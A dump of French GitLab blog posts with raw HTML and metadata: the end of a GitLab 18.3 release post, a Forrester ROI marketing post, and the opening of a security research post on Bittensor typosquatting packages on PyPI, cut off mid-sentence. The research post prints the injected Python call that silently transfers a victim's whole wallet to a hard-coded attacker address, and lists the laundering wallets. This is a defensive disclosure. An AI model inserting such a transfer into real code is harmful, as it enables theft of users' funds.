heures.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Issue to MR\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Flow de conversion de fichier CI (intelligence de migration transparente) :** notre Flow de conversion de fichier CI rationalise les workflow de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète au pipeline. Ce Flow élimine les efforts manuels et les erreurs potentielles de réécriture des configurations CI, et il aide les équipes à migrer des pipelines de déploiement entiers en toute confiance. La version 18.3 inclut une assistance pour les migrations Jenkins. Une assistance supplémentaire est prévue dans les futures versions.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Convert to CI Flow\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### Code et recherche intelligents\n\nLes solutions ponctuelles d'IA fonctionnent généralement avec une visibilité limitée sur des extraits de code isolés, mais le graphique de connaissances de GitLab fournit aux agents un contexte d'environnement pour garantir des réponses plus rapides et plus intelligentes.\n\n* **Graphique de connaissances (intelligence de code en temps réel) :** dans la version 18.3, le graphique de connaissances de GitLab offre désormais une indexation de code en temps réel pour des recherches de code plus rapides ainsi que des résultats plus précis en contexte. Nos agents comprennent les relations entre les fichiers, les dépendances et les modèles de développement de l'ensemble de votre code source et sont conçus pour fournir des informations que les développeurs humains mettraient des heures à trouver. **Et ce n'est que la première étape, nous prévoyons de continuer à étendre les puissantes fonctionnalités du graphique de connaissances.**\n\n### Gouvernance d'entreprise\n\nLa transparence de l'IA et le contrôle applicable à l'entreprise sont des défis majeurs qui freinent l'adoption des outils de développement alimentés par l'IA : [85 % des dirigeants s'accordent à dire que l'IA agentique créera des défis de sécurité sans précédent](https://about.gitlab.com/fr-fr/software-innovation-report/).\n\nLes nouvelles fonctionnalités de la version 18.3 visent à répondre aux préoccupations concernant la gouvernance des données, les exigences en matière de conformité et le besoin de visibilité dans les processus de prise de décision de l'IA afin que les entreprises puissent intégrer l'IA dans leurs frameworks de sécurité et de stratégies existants.\n\n* **Agent Insights (transparence par l'intelligence) :** notre suivi d'agents intégré offre une visibilité sur les processus de prise de décision des agents. Les utilisateurs peuvent optimiser les workflow et suivre les meilleures pratiques grâce à un suivi transparent.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Insights\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **GitLab Duo Code Review pour GitLab Self-Hosted :** dédiée aux  organisations avec des exigences strictes de gouvernance des données, cette fonctionnalité permet aux équipes d'utiliser l'intelligence de GitLab Duo tout en gardant le code sensible dans des environnements contrôlés.\n* **Configurations de modèles hybrides pour un déploiement IA flexible :** les clients GitLab Duo Self-Hosted peuvent maintenant utiliser des configurations de modèles hybrides et combiner des modèles IA auto-hébergés via leur passerelle IA locale avec les modèles cloud de GitLab via la passerelle IA de GitLab afin d'accéder à diverses fonctionnalités.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Self Hosted Models Code Review\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **Sécurité renforcée avec assistance OAuth :** notre serveur MCP inclut maintenant une assistance complète pour l'authentification OAuth 2.0, qui garantit des connexions sécurisées aux ressources protégées et aux environnements de développement sensibles. Cette nouvelle fonctionnalité suit le projet de spécification OAuth pour MCP, qui gère les flux d'autorisation, la gestion des tokens et l'enregistrement dynamique des clients.\n\n### Plateforme Secure by Design : une gouvernance évolutive\n\nPour être véritablement sécurisée, une plateforme nécessite l'application cohérente de principes de gouvernance sur l'ensemble du cycle de développement. Les mêmes principes fondamentaux de sécurité qui garantissent l'adoption sécurisée de l'IA (principe de moindre privilège, gestion centralisée des stratégies, surveillance proactive et autorisations granulaires) doivent être intégrés dans tout le SDLC pour créer une approche cohésive de défense en profondeur.\n\nGitLab 18.3 renforce les contrôles fondamentaux qui aident à protéger toute votre chaîne d'approvisionnement logicielle avec ces nouvelles mises à jour :\n\n* **Rôle d'administrateur personnalisé :** fournit des autorisations administratives granulaires conçues sur mesure qui remplacent l'accès administrateur général par des contrôles précis selon le principe de moindre privilège. Au lieu d'accorder des privilèges administratifs généraux qui créent des risques de sécurité, les organisations peuvent maintenant créer des rôles spécialisés adaptés à des fonctions spécifiques comme les équipes de plateforme qui gèrent les runners et la surveillance, les équipes d'assistance dédiées à la gestion des utilisateurs et les cadres dirigeants qui accèdent aux tableaux de bord et aux statistiques d'utilisation. Forte d'une gestion complète du cycle de vie des rôles via l'interface utilisateur et l'API, d'une journalisation d'audits et de documentation générée automatiquement, cette fonctionnalité offre une véritable gestion selon le principe de moindre privilège qui aide à maintenir l'efficacité opérationnelle et à améliorer la sécurité globale de l'instance.\n* **Framework de conformité au niveau de l'instance et gestion des stratégies de sécurité :** les organisations peuvent maintenant désigner un groupe de conformité dédié responsable d'appliquer des frameworks standardisés et des stratégies de sécurité directement aux groupes principaux, lesquels seront automatiquement mis en œuvre dans tous leurs sous-groupes et projets. Cette approche centralisée élimine la gestion fragmentée des stratégies, un obstacle à la conformité, et maintient l'autonomie du groupe en matière d'adoption de stratégies locales supplémentaires.\n* **Rapports de violations améliorés :** les équipes reçoivent désormais des notifications immédiates lorsque des changements non autorisés sont apportés aux règles d'approbation des MR, que des stratégies de framework ne possèdent pas les approbations appropriées ou que les contrôles de conformité temporels ne sont pas respectés. Les équipes peuvent associer directement les violations aux contrôles spécifiques du framework de conformité afin d'obtenir des informations exploitables qui leur indiquent exactement quelle exigence a été violée. Cette fonctionnalité transforme la conformité d'une simple tâche à exécuter en un élément proactif et intégré du workflow de développement et de sécurité.\n* **Permissions granulaires pour les tokens de job CI/CD :** remplace l'accès général des tokens par des permissions granulaires et explicites qui accordent aux jobs CI/CD un accès uniquement aux points de terminaison API spécifiques dont ils ont réellement besoin. Au lieu de donner aux jobs un accès général aux ressources du projet, les équipes peuvent maintenant définir des permissions précises pour les déploiements, les packages, les versions, les environnements et autres ressources critiques afin de réduire la surface d'attaque et tout potentiel d'escalade de privilèges.\n* **Intégration d'AWS Secrets Manager :** les équipes qui utilisent AWS Secrets Manager peuvent maintenant récupérer des secrets directement dans les jobs GitLab CI/CD afin de simplifier les processus de compilation et de déploiement. Un GitLab Runner accède aux secrets au moyen de l'authentification basée sur le protocole OpenID Connect, qui est masqué pour éviter l'exposition dans les job logs et détruit après utilisation. Cette approche élimine le  stockage des secrets dans des variables et s'intègre proprement dans les workflows existants  GitLab et AWS. Développée en étroite collaboration avec Deutsche Bahn et l'équipe AWS Secrets Manager, cette intégration reflète notre engagement à proposer des solutions aux côtés des clients pour résoudre des défis du monde réel.\n\n### Gestion des artefacts : sécuriser la chaîne d'approvisionnement logicielle\n\nLorsque les artefacts ne sont pas régis correctement, de petits changements peuvent avoir de lourdes conséquences. Les packages modifiables, les images de conteneurs écrasées et les règles incohérentes entre les outils peuvent entraîner des pannes de production, introduire des vulnérabilités et créer des problèmes de conformité. Pour une plateforme DevSecOps d'entreprise, une gestion centralisée et sécurisée des artefacts est essentielle afin de maintenir l'intégrité de la chaîne d'approvisionnement logicielle.\n\n#### Protection des artefacts au niveau de l'entreprise\n\nGitLab 18.3 capitalise sur nos capacités complètes de protection des packages et ajoute de nouvelles fonctionnalités importantes :\n\n* **Assistance pour les revues Conan :** dans la version 18.3, les [révisions Conan](https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions) garantissent l'immuabilité des packages pour les équipes de développement C++. Lorsque des modifications sont apportées à un package sans en changer la version, Conan calcule des identifiants uniques pour suivre ces changements et permettre aux équipes de maintenir des packages immuables ainsi que de préserver la clarté des versions.\n* **Sécurité améliorée du registre de conteneurs :** suite au lancement réussi des [tags de conteneurs immuables](https://docs.gitlab.com/fr-fr/user/packages/container_registry/immutable_container_tags/) dans la version 18.2, nous constatons une forte adoption de cette fonctionnalité en entreprise. Une fois qu'un tag créé correspond à une règle immuable, personne, quel que soit son niveau de permission, ne peut modifier cette image de conteneur afin d'éviter les changements non intentionnels des dépendances de production.\n\nCes améliorations complètent nos capacités de protection existantes pour npm, PyPI, Maven, NuGet, les charts Helm et les packages génériques. Elles aident les équipes de plateforme à implémenter une stratégie de gouvernance cohérente à travers toute leur chaîne d'approvisionnement logicielle – une exigence pour les organisations qui construisent des plateformes de développement internes sécurisées.\n\nContrairement aux solutions d'artefacts autonomes, l'approche intégrée de GitLab élimine le changement de contexte entre les outils et fournit une traçabilité de bout en bout du code au déploiement. Elle permet aussi aux équipes de plateforme d'implémenter une stratégie de gouvernance cohérente dans l'ensemble de leur pipeline de livraison logicielle.\n\n### Vues intégrées : visibilité et rapports en temps réel\n\nÀ mesure que les projets GitLab gagnent en complexité, les équipes se retrouvent à naviguer entre tickets, merge requests, epics et jalons pour maintenir la visibilité du statut du travail. Consolider efficacement ces informations tout en garantissant que les équipes ont un accès en temps réel à la progression du projet sans changement de contexte ni interruption reste un défi.\n### Lancement de la visibilité du statut du travail en temps réel\n\nDans GitLab 18.3, les [vues intégrées alimentées par notre puissant GitLab Query Language](https://docs.gitlab.com/fr-fr/user/glql/#embedded-views) (GLQL) éliminent le changement de contexte grâce à des données de projet injectées directement dans votre workflow :\n* **Vues dynamiques :** insérez des requêtes GLQL dans des blocs de code Markdown de pages wiki, d'epics, de tickets et de merge requests qui se rafraîchissent automatiquement en fonction de l'état actuel du projet chaque fois que vous chargez la page.\n* **Personnalisation contextuelle :** les vues s'adaptent automatiquement à l'aide de fonctions comme `currentUser()` et `today()` pour afficher les informations pertinentes selon l'utilisateur, sans configuration manuelle.\n* **Filtrage puissant :** filtrez parmi plus de 25 champs, y compris la personne assignée, l'auteur, le label, le jalon, les indicateurs de progression et la date de création.\n* **Flexibilité d'affichage :** présentez les données sous forme de tableaux, de listes ou de listes numérotées avec sélection personnalisable des champs, limites d'éléments et ordre de tri pour des vues spécifiques et exploitables.\n\nContrairement aux approches fragmentées de gestion de projet, nous avons conçu les vues intégrées pour maintenir la continuité de votre workflow avec une visibilité en temps réel. Ainsi, les équipes peuvent prendre des décisions éclairées sans se déconcentrer ni basculer entre plusieurs outils et interfaces.\n\n> Découvrez les [nouvelles fonctionnalités de GitLab 18.3](https://about.gitlab.com/fr-fr/releases/2025/08/21/gitlab-18-3-released/).\n## Lancez-vous dès aujourd'hui\nGitLab 18.3 est maintenant disponible pour les utilisateurs GitLab Premium et Ultimate sur GitLab.com et dans les environnements GitLab Self-Managed.\n\nLes clients GitLab Dedicated profitent maintenant de la mise à niveau vers la version 18.2 et pourront utiliser les fonctionnalités déployées avec GitLab 18.3 le mois prochain.\n\nPrêt à découvrir l'avenir de l'ingénierie logicielle ? [Activez les fonctionnalités expérimentales et celles de la version bêta pour GitLab Duo](https://docs.gitlab.com/fr-fr/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features) et commencez à utiliser des agents IA qui comprennent votre contexte de développement dans son ensemble.\n\nVous ne connaissez pas encore GitLab ? [Commencez votre essai gratuit](https://gitlab.com/fr-fr/-/trials/new) aujourd'hui et découvrez pourquoi l'avenir de l'ingénierie logicielle repose sur la collaboration humain-IA orchestrée sur la plateforme DevSecOps la plus complète au monde.\n\n\u003Cp>\u003Csmall>\u003Cem>Cet article de blog contient des énoncés de nature prospective au sens de la Section 27A de la Securities Act de 1933, telle que modifiée, et de la Section 21E de la Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les énoncés de nature prospective contenus dans cet article de blog sont raisonnables, ils sont soumis à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs dont les résultats ou issues réels peuvent matériellement différer de tout résultat ou issue futurs exprimés ou impliqués par les énoncés de nature prospective.\u003C/em>\u003C/p>\n\u003Cp>\u003Cem>Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et issues réels diffèrent matériellement de ceux inclus dans les énoncés de nature prospective contenus dans cet article de blog ou envisagés dans celui-ci sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les documents et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser les énoncés de nature prospective ou à signaler des événements ou circonstances après la date de publication de cet article de blog ou à refléter la tenue d'événements imprévus, sauf si la loi l'exige.\u003C/em>\u003C/small>\u003C/p>",[703,685,753,702,9],{"featured":90,"template":689,"slug":800},"gitlab-18-3-expanding-ai-orchestration-in-software-engineering","content:fr-fr:blog:gitlab-18-3-expanding-ai-orchestration-in-software-engineering.yml","Gitlab 18 3 Expanding Ai Orchestration In Software Engineering","fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering.yml","fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering",{"_path":806,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":807,"content":813,"config":820,"_id":822,"_type":13,"title":823,"_source":15,"_file":824,"_stem":825,"_extension":18},"/fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"title":808,"description":809,"ogTitle":808,"ogDescription":809,"noIndex":6,"ogImage":810,"ogUrl":811,"ogSiteName":673,"ogType":674,"canonicalUrls":811,"schema":812},"Impact économique total de GitLab Ultimate : 483 % de ROI sur 3 ans","Découvrez les principales conclusions de l'étude Forrester Consulting consacrée à l'édition GitLab Ultimate, disponible sur la plateforme DevSecOps de GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","https://about.gitlab.com/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Impact économique total de GitLab Ultimate : 483 % de ROI sur 3 ans\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-11-13\",\n      }\n                  ",{"title":808,"description":809,"authors":814,"heroImage":810,"date":815,"body":816,"category":686,"tags":817,"updatedDate":819},[678],"2024-11-13","Une plateforme DevSecOps puissante rationalise les opérations, empêche les failles de sécurité de perturber (et de coûter cher à) votre entreprise, augmente la productivité et favorise une culture basée sur l'innovation et la collaboration. C'est exactement ce pour quoi nous avons créé GitLab, et l'édition GitLab Ultimate représente toute la puissance de notre plateforme. Pour connaître son influence concrète, nous avons demandé à Forrester Consulting de réaliser une étude « Total Economic Impact™ » sur GitLab Ultimate. Découvrez dans cet article les principales conclusions de cette étude. \n\nSelon les retours des clients interrogés, l'utilisation de GitLab génère à l'entreprise de référence :  \n\n* **Un retour sur investissement de 483 % sur trois ans**  \n* **Une amélioration de 400 % de la productivité des équipes de développement**  \n* **Une première mise en production 15 fois plus rapide\u003Csup>1\u003C/sup>**  \n* **Un gain de temps multiplié par 5 pour les tâches liées à la sécurité**\n\n**En somme, GitLab permet d'accomplir 50 % de travail à valeur ajoutée en plus.** \n\nLes chiffres parlent d'eux-mêmes : la plateforme GitLab transforme  la manière dont les équipes collaborent entre elles. Que vous soyez un responsable de la sécurité des applications chargé d'améliorer la posture de sécurité de votre entreprise, un membre de l'équipe de développement qui cherche à fournir un code de haute qualité plus rapidement ou encore un CTO à la recherche d'une plateforme DevSecOps évolutive, sécurisée et flexible, cette étude (dont la méthodologie complète est disponible ci-dessous) montre que GitLab Ultimate tient ses promesses. Examinons les résultats de l'étude.  \n\n> Téléchargez l'étude complète de [Forrester Consulting intitulée « The Total Economic Impact™ Of GitLab Ultimate » (2024)](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## 1. Un ROI de 483 % sur trois ans\n\n*« La clé du succès pour nous a été le gain d'efficacité, à la fois au niveau de l'administration et des opérations globales. Aujourd'hui, le travail en équipe est accessible à tous et nous pouvons facilement automatiser notre pipeline. Je peux également changer la composition des équipes pour effectuer différentes tâches plus efficacement. Au lieu de former nos équipes sur différents outils en fonction des programmes, il leur suffit désormais de maîtriser GitLab pour pouvoir immédiatement se mettre au travail. »* - CTO et Senior Vice President (secteur de la Défense)\n\nL'étude révèle que les entreprises interrogées ont constaté un retour sur investissement dans les six mois suivant l'adoption de GitLab Ultimate, principalement grâce à une efficacité accrue. Avec un **retour sur investissement de 483 % sur trois ans**, elles ont pu réduire le coût de leur chaîne d'outils logiciels de 25 % et le temps consacré par leurs équipes informatiques à l'administration de ces chaînes d'outils complexes de 75 %. Au-delà des économies financières réalisées, le passage à une plateforme unifiée améliore fondamentalement la façon dont les équipes développent et livrent les logiciels.\n\n## 2. Une amélioration de la productivité de 400 %\n\n*« Lorsque j'échange avec les membres de notre équipe de développement à propos de GitLab, ils s'accordent tous sur le fait que son utilisation a augmenté la productivité de notre entreprise, à tous les niveaux et à tous les postes. Nous disposons aujourd'hui d'une plateforme dotée de fonctions et fonctionnalités accessibles à tous nos collaborateurs. »* - Software Architect, (secteur de l'énergie et de la recherche)\n\nLes équipes de développement travaillent mieux dans des environnements où ils peuvent facilement passer d'une tâche à l'autre sans interruptions. Selon cette étude, les développeurs et développeuses peuvent gagner jusqu'à 305 heures par an en [automatisant les tests](https://about.gitlab.com/fr-fr/topics/devops/devops-test-automation/) dans GitLab. Ils peuvent ainsi tester plus souvent, mais aussi suivre et corriger les bugs plus rapidement, le tout au sein d'une seule interface et donc sans changement de contexte. Ce workflow rationalisé leur permet de se concentrer sur le code plutôt que de jongler avec plusieurs outils et processus.\n\nLes gains de productivité s'étendent également à l'intégration : les nouvelles recrues de l'équipe de développement logiciel de l'entreprise de référence atteignent une productivité optimale 75 % plus rapidement (c'est-à-dire en 1,5 semaine au lieu de 1,5 mois). L'impact est clair : non seulement tous les membres de l'équipe peuvent contribuer à des tâches importantes, mais ils peuvent le faire plus tôt. \n\n## 3. Une première mise en production 15 fois plus rapide\n\n*« Le logiciel est notre botte secrète. Les éléments clés sont notre vélocité et notre capacité à offrir de nouvelles fonctionnalités à nos clients. Pour pouvoir nous concentrer sur ces objectifs premiers, il était logique d'un point de vue économique de \\[consolider\\] nos processus sur une plateforme unique. »* - CTO et Senior Vice President (secteur de la Défense)\n\nL'agrégation des données issues des entretiens avec nos clients révèlent que GitLab permet aux entreprises de déployer une première mise en production 15 fois plus rapidement. Cette accélération est facilitée par le démarrage plus rapide des projets, le déploiement plus fréquent de nouvelles versions, sans oublier une approche proactive de la sécurité qui intègre de manière native le scanning de sécurité dès le début du processus de développement. Il est ainsi possible de maintenir une qualité et une sécurité de haut niveau pour les logiciels, même dans le cadre d'une vélocité accrue, car les équipes de développement sont capables de remédier aux problèmes rapidement, dès leur apparition. \n\nL'[intégration de la sécurité directement dans le processus de développement](https://about.gitlab.com/solutions/security-compliance/) permet aux équipes d'identifier, de prioriser et de corriger les failles de sécurité sans interrompre leur workflow. Cette approche unifiée de la gestion de l'ensemble du cycle de développement logiciel permet aux équipes de progresser plus rapidement sans sacrifier la sécurité.\n\n## 4. Un gain de temps multiplié par 5 pour les tâches liées à la sécurité\n\n*« L'intégration des scanners de sécurité et de qualité dans le pipeline a changé la donne. Grâce à une automatisation accrue et à la réduction des processus manuels, nos pipelines rencontrent moins d'échecs, moins de problèmes et les projets avancent plus rapidement. »* - Program Manager (secteur financier) \n\nFace à l'accélération du développement et à l'évolution des menaces, la sécurité reste une priorité absolue pour toutes les entreprises. GitLab permet aux membres des équipes chargées de la sécurité de l'entreprise de référence d'économiser **78 heures par membre et par an** en automatisant les tâches récurrentes telles que la préparation à la reprise après sinistre, les audits et les contrôles de conformité. GitLab améliore également la visibilité des processus de développement logiciel, en aidant les équipes dédiées à la sécurité et au développement à mieux collaborer.  \n\nPour les équipes de cybersécurité et de développement logiciel de l'entreprise de référence, **la gestion et la réduction des risques de sécurité tout au long du cycle de développement logiciel nécessitent désormais 81 % d'efforts en moins.** En effet, GitLab leur permet d'intégrer des protocoles et des scans de sécurité à chaque étape du cycle de développement logiciel, ce qui simplifie le maintien de normes de sécurité strictes. Grâce à l'intégration des tests de sécurité et des mesures correctives dans les pipelines, les équipes réduisent les temps de réponse moyens et empêchent les problèmes d'atteindre l'environnement de production. \n\n## Découvrez l'approche DevSecOps en action\n\nAvec un retour sur investissement de 483 %, un amortissement rapide et d'innombrables exemples de réussites, GitLab est un outil inestimable pour les entreprises qui cherchent à transformer leurs processus de développement logiciel.\n\n> Pour découvrir les avantages de GitLab pour votre entreprise, téléchargez dès maintenant l'étude complète de [Forrester Consulting intitulée « The Total Economic Impact™ Of GitLab Ultimate »](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Méthodologie**  \n\n*Dans le cadre de cette étude, Forrester a interrogé quatre clients ayant adopté GitLab Ultimate et exerçant dans divers secteurs (notamment celui de la Finance, de la Défense et de la Recherche), puis a consolidé les résultats sous la forme d'une entreprise de référence. L'objectif pour cette entreprise de référence est d'adopter GitLab Ultimate pour l'ensemble de ses équipes sur une période de trois ans.*\n\n*L'entreprise de référence est une société au capital de 5 milliards de dollars, qui compte 5 000 employés (dont 40 % sont impliqués dans la livraison de logiciels) et 50 % de son chiffre d'affaires annuel dépend du développement logiciel. Ses objectifs sont de consolider plusieurs outils sous la forme d'une plateforme intégrée unique, d'améliorer la productivité de son équipe de développement, de garantir le respect des réglementations du secteur et de ses politiques internes, et de renforcer la sécurité tout au long du cycle de développement.*\n\n*1. Sur la base de données agrégées issues des entretiens avec nos clients ; non applicable aux résultats de l'entreprise de référence.*",[753,818,686,9],"research","2024-11-26",{"slug":821,"featured":90,"template":689},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years","content:fr-fr:blog:gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","Gitlab Ultimates Total Economic Impact 483 Roi Over 3 Years","fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"_path":827,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":828,"content":832,"config":840,"_id":842,"_type":13,"title":843,"_source":15,"_file":844,"_stem":845,"_extension":18},"/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"config":829,"title":830,"description":831,"ogImage":7},{"noIndex":6},"GitLab révèle une série d'attaques sur Bittensor via PyPI","Découvrez comment nous avons identifié une série d'attaques de typosquatting avec des paquets PyPI qui ciblaient de la cryptomonnaie.",{"heroImage":833,"body":834,"authors":835,"updatedDate":7,"date":837,"title":830,"tags":838,"description":839,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets [Python](https://about.gitlab.com/fr-fr/blog/beginner-guide-python-programming/ \"Qu'est-ce que le Python ?\") typosquattés sur PyPI.\n\n\nNotre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.\n\n\nLes paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :\n\n\n* `bitensor@9.9.4` (02:52 UTC)\n\n* `bittenso-cli@9.9.4` (02:59 UTC)\n\n* `qbittensor@9.9.4` (03:02 UTC)\n\n* `bitensor@9.9.5` (03:15 UTC)\n\n* `bittenso@9.9.5` (03:16 UTC)\n\n\nTous les paquets étaient conçus pour imiter les véritables paquets `bittensor` et `bittensor-cli`, des composants essentiels du réseau d'IA décentralisé Bittensor.\n\n\n## Analyse technique : déroulement du vol\n\n\nNotre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction `stake_extrinsic` dans `bittensor_cli/src/commands/stake/add.py`.\n\n\nLà où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :\n\n\n```python\n\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n\n```\n\n\nCe processus malveillant corrompait complètement le processus de staking :\n\n\n* **Exécution indétectable :** utilisation de `prompt=False` pour contourner la confirmation de l'utilisateur\n\n* **Vol complet du portefeuille :** définition de `transfer_all=True` pour voler tous les fonds disponibles, pas seulement le montant de staking\n\n* **Destination codée en dur :** transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel\n\n* **Caché à la vue de tous :** exécution pendant une opération de staking en apparence normale\n\n\nL'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.\n\n\n### Pourquoi cibler la fonctionnalité de staking ?\n\n\nLes attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le **staking** consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.\n\n\nLe staking est ainsi un vecteur d'attaque idéal :\n\n\n1. **Cibles de grande valeur :** les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.\n\n2. **Accès requis au portefeuille :** les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.\n\n3. **Activité réseau attendue :** puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.\n\n4. **Opérations routinières :** les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.\n\n5. **Détection retardée :** les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.\n\n\nEn cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.\n\n\n## Suivre l'argent\n\n\nL'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.\n\n\n### Le réseau de blanchiment d'argent\n\n\nNotre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :\n\n\n1. **Collecte principale :** les fonds volés arrivent initialement sur `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n\n2. **Réseau de distribution :** les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :\n\n   * `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   * `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   * `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   * `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Consolidation finale :** tous les chemins convergent finalement vers `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n\n4. **Portefeuille où l'argent est encaissé :** la destination finale semble être `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n\n## Le typosquatting\n\n\nLes cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :\n\n\n* **Caractères manquants :** `bitensor` au lieu de `bittensor` ('t' 